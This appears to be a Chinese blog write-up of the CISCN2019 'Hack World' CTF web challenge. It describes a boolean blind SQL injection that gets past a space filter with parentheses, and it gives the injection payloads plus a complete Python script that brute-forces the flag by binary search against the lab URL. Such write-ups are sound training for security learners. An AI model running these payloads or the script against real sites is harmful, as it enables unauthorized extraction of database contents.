[CISCN2019 华北赛区 Day2 Web1]Hack World
[CISCN2019 华北赛区 Day2 Web1]Hack World
打开页面给了一个提示,输入id查看页面,说明这里的参数就是 id 了。
输入 1,2,3 查看页面回显
输入 2 回显
输入 3 回显
发现输入3的时候回显错误提示,说明这里可能存在布尔或延时盲注。接着测试。
(这题做的是挺懵的,一开始测试延时可以用,后面发现用不了了就开始测试布尔盲注了)
测试发现 空格 被过滤了,/**/也不能使用,但是可以使用 () 绕过。
找到可以绕过的就没问题了。
# IF(expr,1,2) # 如果表达式 expr 结果为True 返回 1,否则返回 2;
id=if(length((select(database())))>0,1,2)
# 回显 Hello, glzjin wants a girlfriend.
id=if(length((select(database())))<0,1,2)
# 回显 Do you want to be my girlfriend?
仔细看看题目,上面提示了flag的位置。uuid 在表 flag 上的 flag 字段
# 构造payload
## flag的长度
id=if(length((select(flag)from(flag)))>$0$,1,0)
## flag值
id=if((ascii(substr((select(flag)from(flag)),$1$,1)))>=$0$,1,0)
## $x$ 为需要修改的地方
构造好了payload,先测试一些payload能不能使用,测试没问题就可以跑脚本了。
看了一些 witeup 发现大佬们都喜欢二分,可能因为二分比较快吧。所以我也使用遍历和二分结合爆破flag长度和值。
#!/usr/bin/env python3
# -*- encoding: UTF-8 -*-
import requests
import string
import time
class Sqlinject():
def __init__(self, url, keyword=None, len=127):
self._len = len
self._url = url
self._keyword = keyword
self._length = 0
self._flag = ''
# 爆破长度
def getlength(self, name, payload=None):
self._payload = payload
for len in range(self._len):
payload = self._payload % len
req = requests.post(self._url, data={'id': payload})
if self._keyword in req.text:
self._length = len
print('%s_Length = %d.' % (name, self._length))
break
# 爆破flag
def getflag(self, payload=None):
self._payload = payload
for len in range(1, self._length + 1):
min = 33
max = 126
while (max > min):
mid = int((min + max + 1) / 2)
payload = self._payload % (len, mid)
req = requests.post(self._url, data={'id': payload})
if self._keyword in req.text:
min = mid
else:
max = mid - 1
time.sleep(0.1)
self._flag += chr(max)
print('flag:%s' % self._flag)
if __name__ == '__main__':
urls = 'http://b4d3e7f9-4bfc-471b-b010-1ae76b609520.node4.buuoj.cn:81/index.php'
keywords = 'Hello, glzjin wants a girlfriend.'
strs = string.ascii_letters + string.digits + string.printable
inject = Sqlinject(urls, keywords)
# getlength(name, payload) 两个参数 一个是需要爆破位置的名字自定义就行只做打印显示用,另外一个是 payload 使用 双引号包裹,除了 length 之外其他方法只需要 payload 和需要被改变的位置
inject.getlength("flaglen", "if(length((select(flag)from(flag)))=%d,1,0)")
inject.getflag("if((ascii(substr((select(flag)from(flag)),%d,1)))>=%d,1,0)")
### 爆破一个flag的话 只需要用 getflag() 这个方法就行了,由于我也正在学习python 所以练练手,写的是一整个的盲注,数据库数据表爆破就没贴上来了。
注意位置
爆破到flag
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/articles/16582233.html